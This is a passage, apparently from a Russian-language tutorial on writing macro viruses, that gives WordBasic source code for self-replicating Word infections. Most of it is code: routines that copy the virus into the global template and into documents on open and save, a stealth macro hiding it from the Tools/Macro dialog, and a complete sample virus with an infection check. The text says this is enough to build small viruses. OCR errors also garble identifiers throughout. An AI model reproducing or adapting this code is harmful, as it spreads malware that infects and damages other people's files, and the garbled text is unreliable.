iWW6llnstance=Val(GetDocumentVar$("WW6lnfector"))
sMe$=FileName$()
Macro$=sMe$+":PayLoad"
MacroCopy Macro$, "Global:PayLoad", 1
Macro$=sMe$+":FileOpen" 'Будет происходить заражение
MacroCopy Macro$, "GlobahFileOpen", 1
Macro$=sMe$+":FileSaveAs"
MacroCopy Macro$, "GlobahFileSaveAs", 1
Macro$=sMe$+":AutoExec"
MacroCopy Macro$, "GlobahAutoExec", 1
SetProfileString "WW6I", Str$(iWW6llnstance+1)
End If
Abort:
End Sub
Процедура SaveAs
Она копирует макро-вирус в активный документ при его сохранении
через команду File/SaveAs. Эта процедура использует во многом схо-
жую с процедурой AutoExec технологию. Код для нее:
Sub MAIN
Dim dig As FileSaveAs
GetCurValues dig
Dialog dig
If (Dlg.Format=0) Or (dlg.Format=1) Then
MacroCopy "FileSaveAs", WindowName$()+":FileSaveAs"
'Заражает при сохранении документа
MacroCopy "FileSave", WindowName$()+":FileSave"
MacroCopy "PayLoad", WindowName$()+":PayLoad"
MacroCopy "FileOpen", WindowName$()+":FileOpen"
'При открытии документа
Dlg.Format=1
End If
FileDaveAs dig
End Sub
Этой информации вполне достаточно для создания небольших макро-
вирусов.
Специальные процедуры
Существует несколько способов скрыть вирус или сделать его более
эффективным. Например, можно создать специальный макрос, прячу-
щий вирус, если Tools/Macro открывается для просмотра. Код такого
макроса может выглядеть примерно так:
Sub MAIN
On Error Goto ErrorRoutine
OldName$=NomFichier$()
If macros.bDebug Then
MsgBox "start ToolsMacro"
Dim dig As OutilsMacro
If macros.bDebug Then MsgBox "1"
GetCurValues dig
If macros.bDebug Then MsgBox "2"
On Error Goto Skip
Dialog dig
OutilsMacro dig
Skip:
On Error Goto ErrorRoutine 'При ошибке на выход
End If
REM enable automacros
DisableAutoMacros 0
macros. SavToGlobal(01dName$)
macros.objectiv
Goto Done 'Переход на метку Done
ErrorRoutine:
On Error Goto Done "Переход на метку Done
If macros.bDebug Then
MsgBox "error "+Str$(Err)+" occurred" 'Сообщение об ошибке
End If
Done:
End Sub
Макро-вирусы также могут включать внешние процедуры. Например,
вирус Nuclear пытается откомпилировать и запустить внешний
файл-разносчик вируса, некоторые троянские макросы пытаются фор-
матировать винчестер при открытии документа.
Пример макро-вируса
Выше были изложены основы для изучения макро-вирусов. Пришло
время рассмотреть исходные тексты.
Macro name: AutoNew [AUTONEW] "U"
Encryption key: DF
Sub MAIN
'Включаем обработку автоматических макросов
DisableAutoMacros 0
'Проверим, установлен ли макрос. Если макрос AutoExec
'присутствует, считаем, что файл заражен
If (lnstalled=0) And (Forgetlt=0) Then
'Заразим. Копируем макрос
MacroCopy WindowName$()+":AutoExec", "GlobahAutoExec", 1
MacroCopy WindowName$()+":AutoNew", "Global:AutoNew", 1
MacroCopy WmdowName$()+":AutoOpen", "Global:AutoOpen", 1
MacroCopy WindowName$()+":DateiSpeichem", "Global:DateiSpeichern", 1
MacroCopy WindowName$()+":DateiSpeichernUnter",
"Global.-DateiSpeichernllnter", 1
MacroCopy WindowName$()+":DateiBeenden",
"GlobahDateiBeenden", 1
MacroCopy WindowName$() + ": ExtrasOptionen ",
"Global :ExtrasOptionen", 1
MacroCopy WindowName$()+":DateiDokvorlagen",
"GlobaLDateiDokvorlagen", 1
MacroCopy WindowName$()+":lt", "Global:lt", 1
MacroCopy WindowName$()+":DateiDrucken", "GlobahDateiDrucken", 1
End If
End Sub
'Функция проверяет, инсталлирован ли макрос AutoExec
Function Installed
'Установим переменную Installed в 0 (инициализация переменной).
"При положительном результате проверки установим ее в 1
lnstalled=0
'Проверим, есть ли макросы
If CountMacros(O) > 0 Then
"Проверим имена макросов. Если есть AutoExec,
"установим переменную Installed в 1
For i=1 To CountMacros(O)
If MacroName$(i, 0)="AutoExec" Then
lnstalled=1
End If
Next i
End If
End Function
Function Forgetit
Forgetlt=0
Section$="Compatibility"
ProfilName$="Nomvir"
BlaBla$=GetProfileString$(Section$, ProfilName$)
If BlaBla$="Ox0690690" Then
Forgetlt=1
End If
End Function